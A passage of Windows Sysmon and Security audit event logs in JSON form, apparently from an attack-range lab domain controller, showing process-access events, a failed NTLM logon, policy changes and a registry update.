accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.672\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.672","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2354,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.672\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.672","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2355,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.672\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.672","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2356,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.672\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.672","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2357,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.687\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FFC-5F2D-0000-0010B6D20300}\r\nTargetProcessId: 3596\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.687","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FFC-5F2D-0000-0010B6D20300}","TargetProcessId":"3596","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2358,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.687\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nSourceProcessId: 1368\r\nSourceThreadId: 2008\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FFC-5F2D-0000-0010B6D20300}\r\nTargetProcessId: 3596\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x40\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\winrscmd.dll+8d36|C:\\Windows\\system32\\winrscmd.dll+92d5|C:\\Windows\\system32\\winrscmd.dll+af31|C:\\Windows\\system32\\winrscmd.dll+23dc|c:\\windows\\system32\\wsmsvc.dll+155ac7|c:\\windows\\system32\\wsmsvc.dll+13f76d|c:\\windows\\system32\\wsmsvc.dll+13f3cf|c:\\windows\\system32\\wsmsvc.dll+13fcb2|c:\\windows\\system32\\wsmsvc.dll+9ab10|c:\\windows\\system32\\wsmsvc.dll+9b611|c:\\windows\\system32\\wsmsvc.dll+4495|c:\\windows\\system32\\wsmsvc.dll+16816c|c:\\windows\\system32\\wsmsvc.dll+1689b8|c:\\windows\\system32\\wsmsvc.dll+16345b|c:\\windows\\system32\\wsmsvc.dll+163125|c:\\windows\\system32\\wsmsvc.dll+14ce9c|c:\\windows\\system32\\wsmsvc.dll+130049|c:\\windows\\system32\\wsmsvc.dll+13571a|c:\\windows\\system32\\wsmsvc.dll+12f47e|c:\\windows\\system32\\wsmsvc.dll+125587|c:\\windows\\system32\\wsmsvc.dll+11f562|c:\\windows\\system32\\wsmsvc.dll+124574","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.687","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","SourceProcessId":"1368","SourceThreadId":"2008","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FFC-5F2D-0000-0010B6D20300}","TargetProcessId":"3596","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x40","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\winrscmd.dll+8d36|C:\\Windows\\system32\\winrscmd.dll+92d5|C:\\Windows\\system32\\winrscmd.dll+af31|C:\\Windows\\system32\\winrscmd.dll+23dc|c:\\windows\\system32\\wsmsvc.dll+155ac7|c:\\windows\\system32\\wsmsvc.dll+13f76d|c:\\windows\\system32\\wsmsvc.dll+13f3cf|c:\\windows\\system32\\wsmsvc.dll+13fcb2|c:\\windows\\system32\\wsmsvc.dll+9ab10|c:\\windows\\system32\\wsmsvc.dll+9b611|c:\\windows\\system32\\wsmsvc.dll+4495|c:\\windows\\system32\\wsmsvc.dll+16816c|c:\\windows\\system32\\wsmsvc.dll+1689b8|c:\\windows\\system32\\wsmsvc.dll+16345b|c:\\windows\\system32\\wsmsvc.dll+163125|c:\\windows\\system32\\wsmsvc.dll+14ce9c|c:\\windows\\system32\\wsmsvc.dll+130049|c:\\windows\\system32\\wsmsvc.dll+13571a|c:\\windows\\system32\\wsmsvc.dll+12f47e|c:\\windows\\system32\\wsmsvc.dll+125587|c:\\windows\\system32\\wsmsvc.dll+11f562|c:\\windows\\system32\\wsmsvc.dll+124574","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221593,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t49500\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"49500","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4739,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13569,"OpcodeValue":0,"RecordNumber":221594,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Domain Policy was changed.\r\n\r\nChange Type:\t\tPassword Policy modified\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nDomain:\r\n\tDomain Name:\t\tATTACKRANGE\r\n\tDomain ID:\t\tS-1-5-21-2899776527-1222892863-2568484180\r\n\r\nChanged Attributes:\r\n\tMin. Password Age:\t\r\n\tMax. Password Age:\t\r\n\tForce Logoff:\t\t\r\n\tLockout Threshold:\t\r\n\tLockout Observation Window:\t-\r\n\tLockout Duration:\t-\r\n\tPassword Properties:\t-\r\n\tMin. Password Length:\t-\r\n\tPassword History Length:\t-\r\n\tMachine Account Quota:\t-\r\n\tMixed Domain Mode:\t7\r\n\tDomain Behavior Version:\t24\r\n\tOEM Information:\t-\r\n\r\nAdditional Information:\r\n\tPrivileges:\t\t-","Category":"Authentication Policy Change","Opcode":"Info","DomainPolicyChanged":"Password Policy","DomainName":"ATTACKRANGE","DomainSid":"S-1-5-21-2899776527-1222892863-2568484180","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","PrivilegeList":"-","LockoutObservationWindow":"-","LockoutDuration":"-","PasswordProperties":"-","MinPasswordLength":"-","PasswordHistoryLength":"-","MachineAccountQuota":"-","MixedDomainMode":"7","DomainBehaviorVersion":"24","OemInformation":"-","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":13,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":13,"OpcodeValue":0,"RecordNumber":2359,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Registry value set:\r\nRuleName: T1101\r\nEventType: SetValue\r\nUtcTime: 2020-08-07 11:50:21.093\r\nProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nProcessId: 852\r\nImage: C:\\Windows\\system32\\services.exe\r\nTargetObject: HKLM\\System\\CurrentControlSet\\Control\\Lsa\\nolmhash\r\nDetails: DWORD (0x00000001)","Category":"Registry value set (rule: RegistryEvent)","Opcode":"Info","RuleName":"T1101","UtcTime":"2020-08-07 11:50:21.093","ProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","Image":"C:\\Windows\\system32\\services.exe","TargetObject":"HKLM\\System\\CurrentControlSet\\Control\\Lsa\\nolmhash","Details":"DWORD (0x00000001)","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4713,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13569,"OpcodeValue":0,"RecordNumber":221595,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Kerberos policy was changed.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nChanges Made:\r\n('--' means no changes, otherwise each change is shown as:\r\n(Parameter Name):\t(new value) (old value))\r\nKerOpts: 0x80 (none); KerMinT: 0x53d1ac1000 (none); KerMaxT: 0x53d1ac1000 (none); KerMaxR: 0x58028e44000 (none); KerProxy: 0xb2d05e00 (none); KerLogoff: 0x9 (none); ","Category":"Authentication Policy Change","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","KerberosPolicyChange":"KerOpts: 0x80 (none); KerMinT: 0x53d1ac1000 (none); KerMaxT: 0x53d1ac1000 (none); KerMaxR: 0x58028e44000 (none); KerProxy: 0xb2d05e00 (none); KerLogoff: 0x9 (none); ","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} 